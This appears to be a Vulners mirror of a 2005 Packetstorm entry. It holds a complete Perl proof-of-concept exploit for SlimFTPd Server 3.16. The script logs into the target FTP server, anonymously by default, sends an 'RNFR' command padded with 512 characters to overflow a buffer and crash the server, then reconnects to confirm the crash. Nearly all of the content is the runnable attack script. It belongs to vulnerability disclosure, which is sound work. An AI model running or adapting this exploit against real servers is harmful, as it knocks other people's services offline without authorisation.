Lucene search
K

47slimftpd_bof.pl.txt

🗓️ 23 Jul 2005 00:00:00Reported by Raphael RigoType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 30 Views

PoC exploit for SlimFTPd Server 3.16 crashes server with buffer overflow technique.

Code
`---------------------------------------  
Affected version: 3.16  
Bug found by Raphaël Rigo  
PoC exploit for demonstration  
---------------------------------------  
  
*#!/usr/bin/perl*  
  
/# --------------------------------------------------- #/  
/# 47slimftpd_bof.pl - PoC exploit for SlimFTPd Server #/  
/# version 3.16 #/  
/# bug found by [email protected] #/  
/# #/  
/# coded by k0r0l from acolytez team #/  
/# visit http://acolytez.com for details #/  
/# --------------------------------------------------- #/  
  
*use* Net::FTP;  
  
/# geting data/  
$host = @ARGV[0];  
$port = @ARGV[1];  
$debug = @ARGV[2];  
$user = @ARGV[3];  
$pass = @ARGV[4];  
  
/# ===========/  
  
*if* (($host) && ($port)) {  
  
/# make exploit string/  
$exploit_string = *"*RNFR *"*;  
$exploit_string .= *"*X*"*x512;  
/# ===================/  
  
print *"*Trying to connect to $host:$port\n*"*;   
$sock = Net::FTP->new(*"*$host*"*,Port => $port, TimeOut => 30, Debug => $debug) *or* die *"*[-] Connection failed\n*"*;   
print *"*[+] Connect OK!\n*"*;  
print *"*Logging...\n*"*;  
*if* (!$user) {  
$user = *"*anonymous*"*;  
$pass = *"*[email protected]*"*;  
}  
$sock->login($user, $pass);  
$answer = $sock->message;  
print *"*Sending string...\n*"*;  
$sock->quot($exploit_string);  
print *"*Server $host may be down. Checking...\n*"*;  
$sock = Net::FTP->new(*"*$host*"*,Port => $port, TimeOut => 30, Debug => $debug) *or* die *"*[-] Connection failed\n*"*;   
*if* ($sock) {print *"*[-] Exploit failed.\n*"*;} *else* {print *"*[+] Server crashed!\n*"*;}  
  
  
} *else* {  
print *"*SlimFTPd Server - PoC Exploit\nhttp://AcolyteZ.com\n\nUsing: $0 host port username password [debug: 1 or 0]\n\n*"*;  
}   
  
  
--   
+################################+  
# Dim K0r0l ([email protected]) #  
# #  
# http://AcolyteZ.com #  
# Net-security, coding, soft etc #  
+################################+  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Jul 2005 00:00Current
7.4High risk
Vulners AI Score7.4
30